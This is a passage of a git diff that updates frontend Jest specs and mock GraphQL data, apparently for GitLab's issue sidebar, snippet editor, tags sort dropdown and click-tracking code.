const findEditButton = () => wrapper.find('[data-testid="edit-button"]');
const findTitle = () => wrapper.find('[data-testid="title"]');
const findCollapsed = () => wrapper.find('[data-testid="collapsed-content"]');
@@ -117,4 +117,35 @@ describe('boards sidebar remove issue', () => {
expect(wrapper.emitted().close).toBeUndefined();
});
+
+ it('renders `Edit` test when passed `isDirty` prop is false', () => {
+ createComponent({ props: { isDirty: false }, canUpdate: true });
+
+ expect(findEditButton().text()).toBe('Edit');
+ });
+
+ it('renders `Apply` test when passed `isDirty` prop is true', () => {
+ createComponent({ props: { isDirty: true }, canUpdate: true });
+
+ expect(findEditButton().text()).toBe('Apply');
+ });
+
+ describe('when initial loading is true', () => {
+ beforeEach(() => {
+ createComponent({ props: { initialLoading: true } });
+ });
+
+ it('renders loading icon', () => {
+ expect(findLoader().exists()).toBe(true);
+ });
+
+ it('does not render edit button', () => {
+ expect(findEditButton().exists()).toBe(false);
+ });
+
+ it('does not render collapsed and expanded content', () => {
+ expect(findCollapsed().exists()).toBe(false);
+ expect(findExpanded().exists()).toBe(false);
+ });
+ });
});
diff --git a/spec/frontend/sidebar/components/assignees/sidebar_invite_members_spec.js b/spec/frontend/sidebar/components/assignees/sidebar_invite_members_spec.js
new file mode 100644
index 00000000000..06f7da3d1ab
--- /dev/null
+++ b/spec/frontend/sidebar/components/assignees/sidebar_invite_members_spec.js
@@ -0,0 +1,59 @@
+import { shallowMount } from '@vue/test-utils';
+import InviteMemberModal from '~/invite_member/components/invite_member_modal.vue';
+import InviteMemberTrigger from '~/invite_member/components/invite_member_trigger.vue';
+import InviteMembersTrigger from '~/invite_members/components/invite_members_trigger.vue';
+import SidebarInviteMembers from '~/sidebar/components/assignees/sidebar_invite_members.vue';
+
+const testProjectMembersPath = 'test-path';
+
+describe('Sidebar invite members component', () => {
+ let wrapper;
+
+ const findDirectInviteLink = () => wrapper.findComponent(InviteMembersTrigger);
+ const findIndirectInviteLink = () => wrapper.findComponent(InviteMemberTrigger);
+ const findInviteModal = () => wrapper.findComponent(InviteMemberModal);
+
+ const createComponent = ({ directlyInviteMembers = false } = {}) => {
+ wrapper = shallowMount(SidebarInviteMembers, {
+ provide: {
+ directlyInviteMembers,
+ projectMembersPath: testProjectMembersPath,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('when directly inviting members', () => {
+ beforeEach(() => {
+ createComponent({ directlyInviteMembers: true });
+ });
+
+ it('renders a direct link to project members path', () => {
+ expect(findDirectInviteLink().exists()).toBe(true);
+ });
+
+ it('does not render invite members trigger and modal components', () => {
+ expect(findIndirectInviteLink().exists()).toBe(false);
+ expect(findInviteModal().exists()).toBe(false);
+ });
+ });
+
+ describe('when indirectly inviting members', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('does not render a direct link to project members path', () => {
+ expect(findDirectInviteLink().exists()).toBe(false);
+ });
+
+ it('does not render invite members trigger and modal components', () => {
+ expect(findIndirectInviteLink().exists()).toBe(true);
+ expect(findInviteModal().exists()).toBe(true);
+ expect(findInviteModal().props('membersPath')).toBe(testProjectMembersPath);
+ });
+ });
+});
diff --git a/spec/frontend/sidebar/components/assignees/sidebar_participant_spec.js b/spec/frontend/sidebar/components/assignees/sidebar_participant_spec.js
new file mode 100644
index 00000000000..88a5f4ea8b7
--- /dev/null
+++ b/spec/frontend/sidebar/components/assignees/sidebar_participant_spec.js
@@ -0,0 +1,43 @@
+import { GlAvatarLabeled } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import SidebarParticipant from '~/sidebar/components/assignees/sidebar_participant.vue';
+
+const user = {
+ name: 'John Doe',
+ username: 'johndoe',
+ webUrl: '/link',
+ avatarUrl: '/avatar',
+};
+
+describe('Sidebar participant component', () => {
+ let wrapper;
+
+ const findAvatar = () => wrapper.findComponent(GlAvatarLabeled);
+
+ const createComponent = (status = null) => {
+ wrapper = shallowMount(SidebarParticipant, {
+ propsData: {
+ user: {
+ ...user,
+ status,
+ },
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('when user is not busy', () => {
+ createComponent();
+
+ expect(findAvatar().props('label')).toBe(user.name);
+ });
+
+ it('when user is busy', () => {
+ createComponent({ availability: 'BUSY' });
+
+ expect(findAvatar().props('label')).toBe(`${user.name} (Busy)`);
+ });
+});
diff --git a/spec/frontend/sidebar/components/confidential/sidebar_confidentiality_form_spec.js b/spec/frontend/sidebar/components/confidential/sidebar_confidentiality_form_spec.js
index d5e6310ed38..28a19fb9df6 100644
--- a/spec/frontend/sidebar/components/confidential/sidebar_confidentiality_form_spec.js
+++ b/spec/frontend/sidebar/components/confidential/sidebar_confidentiality_form_spec.js
@@ -20,11 +20,9 @@ describe('Sidebar Confidentiality Form', () => {
mutate = jest.fn().mockResolvedValue('Success'),
} = {}) => {
wrapper = shallowMount(SidebarConfidentialityForm, {
- provide: {
+ propsData: {
fullPath: 'group/project',
iid: '1',
- },
- propsData: {
confidential: false,
issuableType: 'issue',
...props,
diff --git a/spec/frontend/sidebar/components/confidential/sidebar_confidentiality_widget_spec.js b/spec/frontend/sidebar/components/confidential/sidebar_confidentiality_widget_spec.js
index 20a5be9b518..707215d0739 100644
--- a/spec/frontend/sidebar/components/confidential/sidebar_confidentiality_widget_spec.js
+++ b/spec/frontend/sidebar/components/confidential/sidebar_confidentiality_widget_spec.js
@@ -35,11 +35,11 @@ describe('Sidebar Confidentiality Widget', () => {
localVue,
apolloProvider: fakeApollo,
provide: {
- fullPath: 'group/project',
- iid: '1',
canUpdate: true,
},
propsData: {
+ fullPath: 'group/project',
+ iid: '1',
issuableType: 'issue',
},
stubs: {
diff --git a/spec/frontend/sidebar/components/copy_email_to_clipboard_spec.js b/spec/frontend/sidebar/components/copy_email_to_clipboard_spec.js
index 704847f65bf..699b2bbd0b1 100644
--- a/spec/frontend/sidebar/components/copy_email_to_clipboard_spec.js
+++ b/spec/frontend/sidebar/components/copy_email_to_clipboard_spec.js
@@ -1,22 +1,17 @@
-import { getByText } from '@testing-library/dom';
-import { mount } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
import CopyEmailToClipboard from '~/sidebar/components/copy_email_to_clipboard.vue';
-import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+import CopyableField from '~/vue_shared/components/sidebar/copyable_field.vue';
describe('CopyEmailToClipboard component', () => {
- const sampleEmail = 'sample+email@test.com';
+ const mockIssueEmailAddress = 'sample+email@test.com';
- const wrapper = mount(CopyEmailToClipboard, {
+ const wrapper = shallowMount(CopyEmailToClipboard, {
propsData: {
- copyText: sampleEmail,
+ issueEmailAddress: mockIssueEmailAddress,
},
});
- it('renders the Issue email text with the forwardable email', () => {
- expect(getByText(wrapper.element, `Issue email: ${sampleEmail}`)).not.toBeNull();
- });
-
- it('finds ClipboardButton with the correct props', () => {
- expect(wrapper.find(ClipboardButton).props('text')).toBe(sampleEmail);
+ it('sets CopyableField `value` prop to issueEmailAddress', () => {
+ expect(wrapper.find(CopyableField).props('value')).toBe(mockIssueEmailAddress);
});
});
diff --git a/spec/frontend/sidebar/components/due_date/sidebar_due_date_widget_spec.js b/spec/frontend/sidebar/components/due_date/sidebar_due_date_widget_spec.js
new file mode 100644
index 00000000000..f58ceb0f1be
--- /dev/null
+++ b/spec/frontend/sidebar/components/due_date/sidebar_due_date_widget_spec.js
@@ -0,0 +1,106 @@
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import createFlash from '~/flash';
+import SidebarDueDateWidget from '~/sidebar/components/due_date/sidebar_due_date_widget.vue';
+import SidebarEditableItem from '~/sidebar/components/sidebar_editable_item.vue';
+import issueDueDateQuery from '~/sidebar/queries/issue_due_date.query.graphql';
+import { issueDueDateResponse } from '../../mock_data';
+
+jest.mock('~/flash');
+
+Vue.use(VueApollo);
+
+describe('Sidebar Due date Widget', () => {
+ let wrapper;
+ let fakeApollo;
+ const date = '2021-04-15';
+
+ const findEditableItem = () => wrapper.findComponent(SidebarEditableItem);
+ const findFormattedDueDate = () => wrapper.find("[data-testid='sidebar-duedate-value']");
+
+ const createComponent = ({
+ dueDateQueryHandler = jest.fn().mockResolvedValue(issueDueDateResponse()),
+ } = {}) => {
+ fakeApollo = createMockApollo([[issueDueDateQuery, dueDateQueryHandler]]);
+
+ wrapper = shallowMount(SidebarDueDateWidget, {
+ apolloProvider: fakeApollo,
+ provide: {
+ fullPath: 'group/project',
+ iid: '1',
+ canUpdate: true,
+ },
+ propsData: {
+ issuableType: 'issue',
+ },
+ stubs: {
+ SidebarEditableItem,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ fakeApollo = null;
+ });
+
+ it('passes a `loading` prop as true to editable item when query is loading', () => {
+ createComponent();
+
+ expect(findEditableItem().props('loading')).toBe(true);
+ });
+
+ describe('when issue has no due date', () => {
+ beforeEach(async () => {
+ createComponent({
+ dueDateQueryHandler: jest.fn().mockResolvedValue(issueDueDateResponse(null)),
+ });
+ await waitForPromises();
+ });
+
+ it('passes a `loading` prop as false to editable item', () => {
+ expect(findEditableItem().props('loading')).toBe(false);
+ });
+
+ it('dueDate is null by default', () => {
+ expect(findFormattedDueDate().text()).toBe('None');
+ });
+
+ it('emits `dueDateUpdated` event with a `null` payload', () => {
+ expect(wrapper.emitted('dueDateUpdated')).toEqual([[null]]);
+ });
+ });
+
+ describe('when issue has due date', () => {
+ beforeEach(async () => {
+ createComponent({
+ dueDateQueryHandler: jest.fn().mockResolvedValue(issueDueDateResponse(date)),
+ });
+ await waitForPromises();
+ });
+
+ it('passes a `loading` prop as false to editable item', () => {
+ expect(findEditableItem().props('loading')).toBe(false);
+ });
+
+ it('has dueDate', () => {
+ expect(findFormattedDueDate().text()).toBe('Apr 15, 2021');
+ });
+
+ it('emits `dueDateUpdated` event with the date payload', () => {
+ expect(wrapper.emitted('dueDateUpdated')).toEqual([[date]]);
+ });
+ });
+
+ it('displays a flash message when query is rejected', async () => {
+ createComponent({
+ dueDateQueryHandler: jest.fn().mockRejectedValue('Houston, we have a problem'),
+ });
+ await waitForPromises();
+
+ expect(createFlash).toHaveBeenCalled();
+ });
+});
diff --git a/spec/frontend/sidebar/components/reference/sidebar_reference_widget_spec.js b/spec/frontend/sidebar/components/reference/sidebar_reference_widget_spec.js
index 1dbb7702a15..cc428693930 100644
--- a/spec/frontend/sidebar/components/reference/sidebar_reference_widget_spec.js
+++ b/spec/frontend/sidebar/components/reference/sidebar_reference_widget_spec.js
@@ -1,4 +1,3 @@
-import { GlLoadingIcon } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import Vue from 'vue';
import VueApollo from 'vue-apollo';
@@ -8,18 +7,21 @@ import { IssuableType } from '~/issue_show/constants';
import SidebarReferenceWidget from '~/sidebar/components/reference/sidebar_reference_widget.vue';
import issueReferenceQuery from '~/sidebar/queries/issue_reference.query.graphql';
import mergeRequestReferenceQuery from '~/sidebar/queries/merge_request_reference.query.graphql';
-import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+import CopyableField from '~/vue_shared/components/sidebar/copyable_field.vue';
import { issueReferenceResponse } from '../../mock_data';
describe('Sidebar Reference Widget', () => {
let wrapper;
let fakeApollo;
- const referenceText = 'reference';
+
+ const mockReferenceValue = 'reference-1234';
+
+ const findCopyableField = () => wrapper.findComponent(CopyableField);
const createComponent = ({
- issuableType,
+ issuableType = IssuableType.Issue,
referenceQuery = issueReferenceQuery,
- referenceQueryHandler = jest.fn().mockResolvedValue(issueReferenceResponse(referenceText)),
+ referenceQueryHandler = jest.fn().mockResolvedValue(issueReferenceResponse(mockReferenceValue)),
} = {}) => {
Vue.use(VueApollo);
@@ -39,14 +41,20 @@ describe('Sidebar Reference Widget', () => {
afterEach(() => {
wrapper.destroy();
- wrapper = null;
+ });
+
+ describe('when reference is loading', () => {
+ it('sets CopyableField `is-loading` prop to `true`', () => {
+ createComponent({ referenceQueryHandler: jest.fn().mockReturnValue(new Promise(() => {})) });
+ expect(findCopyableField().props('isLoading')).toBe(true);
+ });
});
describe.each([
[IssuableType.Issue, issueReferenceQuery],
[IssuableType.MergeRequest, mergeRequestReferenceQuery],
])('when issuableType is %s', (issuableType, referenceQuery) => {
- it('displays the reference text', async () => {
+ it('sets CopyableField `value` prop to reference value', async () => {
createComponent({
issuableType,
referenceQuery,
@@ -54,40 +62,32 @@ describe('Sidebar Reference Widget', () => {
await waitForPromises();
- expect(wrapper.text()).toContain(referenceText);
+ expect(findCopyableField().props('value')).toBe(mockReferenceValue);
});
- it('displays loading icon while fetching and hides clipboard icon', async () => {
- createComponent({
- issuableType,
- referenceQuery,
- });
+ describe('when error occurs', () => {
+ it('calls createFlash with correct parameters', async () => {
+ const mockError = new Error('mayday');
- expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
- expect(wrapper.find(ClipboardButton).exists()).toBe(false);
- });
+ createComponent({
+ issuableType,
+ referenceQuery,
+ referenceQueryHandler: jest.fn().mockRejectedValue(mockError),
+ });
- it('calls createFlash with correct parameters', async () => {
- const mockError = new Error('mayday');
+ await waitForPromises();
- createComponent({
- issuableType,
- referenceQuery,
- referenceQueryHandler: jest.fn().mockRejectedValue(mockError),
+ const [
+ [
+ {
+ message,
+ error: { networkError },
+ },
+ ],
+ ] = wrapper.emitted('fetch-error');
+ expect(message).toBe('An error occurred while fetching reference');
+ expect(networkError).toEqual(mockError);
});
-
- await waitForPromises();
-
- const [
- [
- {
- message,
- error: { networkError },
- },
- ],
- ] = wrapper.emitted('fetch-error');
- expect(message).toBe('An error occurred while fetching reference');
- expect(networkError).toEqual(mockError);
});
});
});
diff --git a/spec/frontend/sidebar/issuable_assignees_spec.js b/spec/frontend/sidebar/issuable_assignees_spec.js
index af4dc315aad..3563d478f3f 100644
--- a/spec/frontend/sidebar/issuable_assignees_spec.js
+++ b/spec/frontend/sidebar/issuable_assignees_spec.js
@@ -5,12 +5,15 @@ import UncollapsedAssigneeList from '~/sidebar/components/assignees/uncollapsed_
describe('IssuableAssignees', () => {
let wrapper;
- const createComponent = (props = { users: [] }) => {
+ const createComponent = (props = {}) => {
wrapper = shallowMount(IssuableAssignees, {
provide: {
rootPath: '',
},
- propsData: { ...props },
+ propsData: {
+ users: [],
+ ...props,
+ },
});
};
const findUncollapsedAssigneeList = () => wrapper.find(UncollapsedAssigneeList);
@@ -22,12 +25,14 @@ describe('IssuableAssignees', () => {
});
describe('when no assignees are present', () => {
- beforeEach(() => {
- createComponent();
+ it('renders "None - assign yourself" when user is logged in', () => {
+ createComponent({ signedIn: true });
+ expect(findEmptyAssignee().text()).toBe('None - assign yourself');
});
- it('renders "None - assign yourself"', () => {
- expect(findEmptyAssignee().text()).toBe('None - assign yourself');
+ it('renders "None" when user is not logged in', () => {
+ createComponent();
+ expect(findEmptyAssignee().text()).toBe('None');
});
});
@@ -41,7 +46,7 @@ describe('IssuableAssignees', () => {
describe('when clicking "assign yourself"', () => {
it('emits "assign-self"', () => {
- createComponent();
+ createComponent({ signedIn: true });
wrapper.find('[data-testid="assign-yourself"]').vm.$emit('click');
expect(wrapper.emitted('assign-self')).toHaveLength(1);
});
diff --git a/spec/frontend/sidebar/mock_data.js b/spec/frontend/sidebar/mock_data.js
index e751f1239c8..2a4858a6320 100644
--- a/spec/frontend/sidebar/mock_data.js
+++ b/spec/frontend/sidebar/mock_data.js
@@ -233,6 +233,19 @@ export const issueConfidentialityResponse = (confidential = false) => ({
},
});
+export const issueDueDateResponse = (dueDate = null) => ({
+ data: {
+ workspace: {
+ __typename: 'Project',
+ issuable: {
+ __typename: 'Issue',
+ id: 'gid://gitlab/Issue/4',
+ dueDate,
+ },
+ },
+ },
+});
+
export const issueReferenceResponse = (reference) => ({
data: {
workspace: {
@@ -245,4 +258,147 @@ export const issueReferenceResponse = (reference) => ({
},
},
});
+
+export const issuableQueryResponse = {
+ data: {
+ workspace: {
+ __typename: 'Project',
+ issuable: {
+ __typename: 'Issue',
+ id: 'gid://gitlab/Issue/1',
+ iid: '1',
+ participants: {
+ nodes: [
+ {
+ id: 'gid://gitlab/User/1',
+ avatarUrl:
+ 'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80\u0026d=identicon',
+ name: 'Administrator',
+ username: 'root',
+ webUrl: '/root',
+ status: null,
+ },
+ {
+ id: 'gid://gitlab/User/2',
+ avatarUrl:
+ 'https://www.gravatar.com/avatar/a95e5b71488f4b9d69ce5ff58bfd28d6?s=80\u0026d=identicon',
+ name: 'Jacki Kub',
+ username: 'francina.skiles',
+ webUrl: '/franc',
+ status: {
+ availability: 'BUSY',
+ },
+ },
+ {
+ id: 'gid://gitlab/User/3',
+ avatarUrl: '/avatar',
+ name: 'John Doe',
+ username: 'johndoe',
+ webUrl: '/john',
+ status: null,
+ },
+ ],
+ },
+ assignees: {
+ nodes: [
+ {
+ id: 'gid://gitlab/User/2',
+ avatarUrl:
+ 'https://www.gravatar.com/avatar/a95e5b71488f4b9d69ce5ff58bfd28d6?s=80\u0026d=identicon',
+ name: 'Jacki Kub',
+ username: 'francina.skiles',
+ webUrl: '/franc',
+ status: null,
+ },
+ ],
+ },
+ },
+ },
+ },
+};
+
+export const searchQueryResponse = {
+ data: {
+ workspace: {
+ __typename: 'Project',
+ users: {
+ nodes: [
+ {
+ user: {
+ id: '1',
+ avatarUrl: '/avatar',
+ name: 'root',
+ username: 'root',
+ webUrl: 'root',
+ status: null,
+ },
+ },
+ {
+ user: {
+ id: '2',
+ avatarUrl: '/avatar2',
+ name: 'rookie',
+ username: 'rookie',
+ webUrl: 'rookie',
+ status: null,
+ },
+ },
+ ],
+ },
+ },
+ },
+};
+
+export const updateIssueAssigneesMutationResponse = {
+ data: {
+ issuableSetAssignees: {
+ issuable: {
+ id: 'gid://gitlab/Issue/1',
+ iid: '1',
+ assignees: {
+ nodes: [
+ {
+ __typename: 'User',
+ id: 'gid://gitlab/User/1',
+ avatarUrl:
+ 'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80\u0026d=identicon',
+ name: 'Administrator',
+ username: 'root',
+ webUrl: '/root',
+ status: null,
+ },
+ ],
+ __typename: 'UserConnection',
+ },
+ participants: {
+ nodes: [
+ {
+ __typename: 'User',
+ id: 'gid://gitlab/User/1',
+ avatarUrl:
+ 'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80\u0026d=identicon',
+ name: 'Administrator',
+ username: 'root',
+ webUrl: '/root',
+ status: null,
+ },
+ {
+ __typename: 'User',
+ id: 'gid://gitlab/User/2',
+ avatarUrl:
+ 'https://www.gravatar.com/avatar/a95e5b71488f4b9d69ce5ff58bfd28d6?s=80\u0026d=identicon',
+ name: 'Jacki Kub',
+ username: 'francina.skiles',
+ webUrl: '/franc',
+ status: null,
+ },
+ ],
+ __typename: 'UserConnection',
+ },
+ __typename: 'Issue',
+ },
+ },
+ },
+};
+
export default mockData;
diff --git a/spec/frontend/snippets/components/__snapshots__/snippet_description_edit_spec.js.snap b/spec/frontend/snippets/components/__snapshots__/snippet_description_edit_spec.js.snap
index cef5f8cc528..22e206bb483 100644
--- a/spec/frontend/snippets/components/__snapshots__/snippet_description_edit_spec.js.snap
+++ b/spec/frontend/snippets/components/__snapshots__/snippet_description_edit_spec.js.snap
@@ -25,9 +25,11 @@ exports[`Snippet Description Edit component rendering matches the snapshot 1`] =
<div
class="js-vue-markdown-field md-area position-relative gfm-form js-expanded"
+ data-uploads-path=""
>
<markdown-header-stub
linecontent=""
+ suggestionstartindex="0"
/>
<div
diff --git a/spec/frontend/snippets/components/edit_spec.js b/spec/frontend/snippets/components/edit_spec.js
index 2b6d3ca8c2a..efdb52cfcd9 100644
--- a/spec/frontend/snippets/components/edit_spec.js
+++ b/spec/frontend/snippets/components/edit_spec.js
@@ -5,10 +5,9 @@ import { nextTick } from 'vue';
import VueApollo, { ApolloMutation } from 'vue-apollo';
import { useFakeDate } from 'helpers/fake_date';
import createMockApollo from 'helpers/mock_apollo_helper';
-import { stubComponent } from 'helpers/stub_component';
import waitForPromises from 'helpers/wait_for_promises';
import GetSnippetQuery from 'shared_queries/snippet/snippet.query.graphql';
-import CaptchaModal from '~/captcha/captcha_modal.vue';
+import UnsolvedCaptchaError from '~/captcha/unsolved_captcha_error';
import { deprecatedCreateFlash as Flash } from '~/flash';
import * as urlUtils from '~/lib/utils/url_utility';
import SnippetEditApp from '~/snippets/components/edit.vue';
@@ -30,9 +29,8 @@ jest.mock('~/flash');
const TEST_UPLOADED_FILES = ['foo/bar.txt', 'alpha/beta.js'];
const TEST_API_ERROR = new Error('TEST_API_ERROR');
+const TEST_CAPTCHA_ERROR = new UnsolvedCaptchaError();
const TEST_MUTATION_ERROR = 'Test mutation error';
-const TEST_CAPTCHA_RESPONSE = 'i-got-a-captcha';
-const TEST_CAPTCHA_SITE_KEY = 'abc123';
const TEST_ACTIONS = {
NO_CONTENT: merge({}, testEntries.created.diff, { content: '' }),
NO_PATH: merge({}, testEntries.created.diff, { filePath: '' }),
@@ -59,9 +57,6 @@ const createMutationResponse = (key, obj = {}) => ({
__typename: 'Snippet',
webUrl: TEST_WEB_URL,
},
- spamLogId: null,
- needsCaptchaResponse: false,
- captchaSiteKey: null,
},
obj,
),
@@ -71,13 +66,6 @@ const createMutationResponse = (key, obj = {}) => ({
const createMutationResponseWithErrors = (key) =>
createMutationResponse(key, { errors: [TEST_MUTATION_ERROR] });
-const createMutationResponseWithRecaptcha = (key) =>
- createMutationResponse(key, {
- errors: ['ignored captcha error message'],
- needsCaptchaResponse: true,
- captchaSiteKey: TEST_CAPTCHA_SITE_KEY,
- });
-
const getApiData = ({
id,
title = '',
@@ -126,7 +114,6 @@ describe('Snippet Edit app', () => {
});
const findBlobActions = () => wrapper.find(SnippetBlobActionsEdit);
- const findCaptchaModal = () => wrapper.find(CaptchaModal);
const findSubmitButton = () => wrapper.find('[data-testid="snippet-submit-btn"]');
const findCancelButton = () => wrapper.find('[data-testid="snippet-cancel-btn"]');
const hasDisabledSubmit = () => Boolean(findSubmitButton().attributes('disabled'));
@@ -159,7 +146,6 @@ describe('Snippet Edit app', () => {
stubs: {
ApolloMutation,
FormFooterActions,
- CaptchaModal: stubComponent(CaptchaModal),
},
provide: {
selectedLevel,
@@ -209,7 +195,6 @@ describe('Snippet Edit app', () => {
});
it('should render components', () => {
- expect(wrapper.find(CaptchaModal).exists()).toBe(true);
expect(wrapper.find(TitleField).exists()).toBe(true);
expect(wrapper.find(SnippetDescriptionEdit).exists()).toBe(true);
expect(wrapper.find(SnippetVisibilityEdit).exists()).toBe(true);
@@ -338,10 +323,10 @@ describe('Snippet Edit app', () => {
},
);
- describe('with apollo network error', () => {
+ describe.each([TEST_API_ERROR, TEST_CAPTCHA_ERROR])('with apollo network error', (error) => {
beforeEach(async () => {
jest.spyOn(console, 'error').mockImplementation();
- mutateSpy.mockRejectedValue(TEST_API_ERROR);
+ mutateSpy.mockRejectedValue(error);
await createComponentAndSubmit();
});
@@ -353,7 +338,7 @@ describe('Snippet Edit app', () => {
it('should flash', () => {
// Apollo automatically wraps the resolver's error in a NetworkError
expect(Flash).toHaveBeenCalledWith(
- `Can't update snippet: Network error: ${TEST_API_ERROR.message}`,
+ `Can't update snippet: Network error: ${error.message}`,
);
});
@@ -363,54 +348,10 @@ describe('Snippet Edit app', () => {
// eslint-disable-next-line no-console
expect(console.error).toHaveBeenCalledWith(
'[gitlab] unexpected error while updating snippet',
- expect.objectContaining({ message: `Network error: ${TEST_API_ERROR.message}` }),
+ expect.objectContaining({ message: `Network error: ${error.message}` }),
);
});
});
-
- describe('when needsCaptchaResponse is true', () => {
- let modal;
-
- beforeEach(async () => {
- mutateSpy
- .mockResolvedValueOnce(createMutationResponseWithRecaptcha('updateSnippet'))
- .mockResolvedValueOnce(createMutationResponseWithErrors('updateSnippet'));
-
- await createComponentAndSubmit();
-
- modal = findCaptchaModal();
-
- mutateSpy.mockClear();
- });
-
- it('should display captcha modal', () => {
- expect(urlUtils.redirectTo).not.toHaveBeenCalled();
- expect(modal.props()).toEqual({
- needsCaptchaResponse: true,
- captchaSiteKey: TEST_CAPTCHA_SITE_KEY,
- });
- });
-
- describe.each`
- response | expectedCalls
- ${null} | ${[]}
- ${TEST_CAPTCHA_RESPONSE} | ${[['updateSnippet', { input: { ...getApiData(createSnippet()), captchaResponse: TEST_CAPTCHA_RESPONSE } }]]}
- `('when captcha response is $response', ({ response, expectedCalls }) => {
- beforeEach(async () => {
- modal.vm.$emit('receivedCaptchaResponse', response);
-
- await nextTick();
- });
-
- it('sets needsCaptchaResponse to false', () => {
- expect(modal.props('needsCaptchaResponse')).toEqual(false);
- });
-
- it(`expected to call times = ${expectedCalls.length}`, () => {
- expect(mutateSpy.mock.calls).toEqual(expectedCalls);
- });
- });
- });
});
});
diff --git a/spec/frontend/tags/components/sort_dropdown_spec.js b/spec/frontend/tags/components/sort_dropdown_spec.js
new file mode 100644
index 00000000000..b0fd98ec68e
--- /dev/null
+++ b/spec/frontend/tags/components/sort_dropdown_spec.js
@@ -0,0 +1,81 @@
+import { GlDropdownItem, GlSearchBoxByClick } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import * as urlUtils from '~/lib/utils/url_utility';
+import SortDropdown from '~/tags/components/sort_dropdown.vue';
+
+describe('Tags sort dropdown', () => {
+ let wrapper;
+
+ const createWrapper = (props = {}) => {
+ return extendedWrapper(
+ mount(SortDropdown, {
+ provide: {
+ filterTagsPath: '/root/ci-cd-project-demo/-/tags',
+ sortOptions: {
+ name_asc: 'Name',
+ updated_asc: 'Oldest updated',
+ updated_desc: 'Last updated',
+ },
+ ...props,
+ },
+ }),
+ );
+ };
+
+ const findSearchBox = () => wrapper.findComponent(GlSearchBoxByClick);
+ const findTagsDropdown = () => wrapper.findByTestId('tags-dropdown');
+
+ afterEach(() => {
+ if (wrapper) {
+ wrapper.destroy();
+ }
+ });
+
+ describe('default state', () => {
+ beforeEach(() => {
+ wrapper = createWrapper();
+ });
+
+ it('should have a search box with a placeholder', () => {
+ const searchBox = findSearchBox();
+
+ expect(searchBox.exists()).toBe(true);
+ expect(searchBox.find('input').attributes('placeholder')).toBe('Filter by tag name');
+ });
+
+ it('should have a sort order dropdown', () => {
+ const branchesDropdown = findTagsDropdown();
+
+ expect(branchesDropdown.exists()).toBe(true);
+ });
+ });
+
+ describe('when submitting a search term', () => {
+ beforeEach(() => {
+ urlUtils.visitUrl = jest.fn();
+
+ wrapper = createWrapper();
+ });
+
+ it('should call visitUrl', () => {
+ const searchBox = findSearchBox();
+
+ searchBox.vm.$emit('submit');
+
+ expect(urlUtils.visitUrl).toHaveBeenCalledWith(
+ '/root/ci-cd-project-demo/-/tags?sort=updated_desc',
+ );
+ });
+
+ it('should send a sort parameter', () => {
+ const sortDropdownItems = findTagsDropdown().findAllComponents(GlDropdownItem).at(0);
+
+ sortDropdownItems.vm.$emit('click');
+
+ expect(urlUtils.visitUrl).toHaveBeenCalledWith(
+ '/root/ci-cd-project-demo/-/tags?sort=name_asc',
+ );
+ });
+ });
+});
diff --git a/spec/frontend/tracking_spec.js b/spec/frontend/tracking_spec.js
index 6a22de3be5c..2c7bcaa98b0 100644
--- a/spec/frontend/tracking_spec.js
+++ b/spec/frontend/tracking_spec.js
@@ -176,25 +176,29 @@ describe('Tracking', () => {
});
});
- describe('tracking interface events', () => {
+ describe.each`
+ term
+ ${'event'}
+ ${'action'}
+ `('tracking interface events with data-track-$term', ({ term }) => {
let eventSpy;
beforeEach(() => {
eventSpy = jest.spyOn(Tracking, 'event');
Tracking.bindDocument('_category_'); // only happens once
setHTMLFixture(`
- <input data-track-event="click_input1" data-track-label="_label_" value="_value_"/>
- <input data-track-event="click_input2" data-track-value="_value_override_" value="_value_"/>
- <input type="checkbox" data-track-event="toggle_checkbox" value="_value_" checked/>
- <input class="dropdown" data-track-event="toggle_dropdown"/>
- <div data-track-event="nested_event"><span class="nested"></span></div>
- <input data-track-eventbogus="click_bogusinput" data-track-label="_label_" value="_value_"/>
- <input data-track-event="click_input3" data-track-experiment="example" value="_value_"/>
+ <input data-track-${term}="click_input1" data-track-label="_label_" value="_value_"/>
+ <input data-track-${term}="click_input2" data-track-value="_value_override_" value="_value_"/>
+ <input type="checkbox" data-track-${term}="toggle_checkbox" value="_value_" checked/>
+ <input class="dropdown" data-track-${term}="toggle_dropdown"/>
+ <div data-track-${term}="nested_event"><span class="nested"></span></div>
+ <input data-track-bogus="click_bogusinput" data-track-label="_label_" value="_value_"/>
+ <input data-track-${term}="click_input3" data-track-experiment="example" value="_value_"/>
`);
});
- it('binds to clicks on elements matching [data-track-event]', () => {
- document.querySelector('[data-track-event="click_input1"]').click();
+ it(`binds to clicks on elements matching [data-track-${term}]`, () => {
+ document.querySelector(`[data-track-${term}="click_input1"]`).click();
expect(eventSpy).toHaveBeenCalledWith('_category_', 'click_input1', {
label: '_label_',
@@ -202,14 +206,14 @@ describe('Tracking', () => {
});
});
- it('does not bind to clicks on elements without [data-track-event]', () => {
- document.querySelector('[data-track-eventbogus="click_bogusinput"]').click();
+ it(`does not bind to clicks on elements without [data-track-${term}]`, () => {
+ document.querySelector('[data-track-bogus="click_bogusinput"]').click();
expect(eventSpy).not.toHaveBeenCalled();
});
it('allows value override with the data-track-value attribute', () => {
- document.querySelector('[data-track-event="click_input2"]').click();
+ document.querySelector(`[data-track-${term}="click_input2"]`).click();
expect(eventSpy).toHaveBeenCalledWith('_category_', 'click_input2', {
value: '_value_override_',
